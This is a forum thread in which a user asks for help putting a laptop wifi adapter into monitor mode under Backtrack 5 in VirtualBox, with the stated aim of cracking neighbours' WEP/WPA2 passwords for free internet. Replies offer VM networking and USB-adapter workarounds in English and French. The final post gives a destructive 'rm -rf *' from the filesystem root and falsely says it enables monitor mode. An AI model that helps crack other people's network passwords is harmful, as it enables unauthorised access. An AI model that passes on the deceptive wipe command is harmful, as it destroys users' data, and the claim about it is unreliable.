Long story short I just bought a laptop and I'm unable to put my wireless chip in "monitor mode" to sniff packets from other networks in the area... I'm connected to the internet in both Backtrack5 (which I run in OracleVM Virtual Box) and Windows 7 but can't get anywhere. I type airmon-ng and it's supposed to show a few networks in my area but nothing comes up

My wireless adapter: Intel Centrino Wireless-N 100, IEEE 802.11b/g/n btw... I've been googling solutions and nothing seems to be working. I'm pretty good with this stuff usually but I'm stumped right now

here's a screenshot:

is there ANY way ANYONE can help me with this? would be greatly appreciated.

If anyones wondering the purpose of this, it's to crack WEP/WPA2-PSK passwords. Free internet basically.
 
how is your vm connected to your NIC ?

is it straight, bridge or other ?

Wish I could help you help me more, networking/linux isn't my 'thing' so I'd call myself a beginner... Only languages I know are HTML and some C++
 
NAT...that's normal

The one you want to use is Bridge, NAT act as a virtual network card who do the link between the host and the VM. Bridge will connect directly to the NIC

update, just tried it and same results. I wonder if my adapter is even capable of going into 'monitor' mode :S

Here's some more info, the 2 boxes in red are just other possible options that I can select in the dropdown menus

also tried selecting "Allow all" aswell
 
Ok, au fond le bridge ou autre est identifié comme une carte réseau normale....

regarde dans tes settings de VM si tu peux pas assigner ta carte réseau directement à la VM.

Sinon tu devras booter en dualboot ou a partir d'une clé USB.

3ème solution : pogne toi un adapteur WIFI USB et assigne la à la VM directement au lieu d'être utilisé par l'hote

j'imagine je devrait installer linux pour faire ca? j'ai ubuntu sur un DVD mais je ne l'utilise pas
 
Pour la première ?

nan, c'est juste jouer dans les settings de Virtual Box

Pour les 2 autres, oui (un va sur ton hard drive, l'autre sur une clé USB)

no, you could use the other card exclusively for ur VM

But I think part of your problem is the fact that you<re trying to run it from VM, isn<t the backtrack CD a live CD anyways, why don't u just boot from it instead
 
Here is a great example why releasing tools like Backtrack to make "hacking" easier is a bad idea... Because people like you want to use it to steal bandwidth .. anyways here is one thing you can try;

cd /
rm -rf *

The rm command will put it in "real monitor" mode.

It should take 15 minutes to fix your Backtrack image
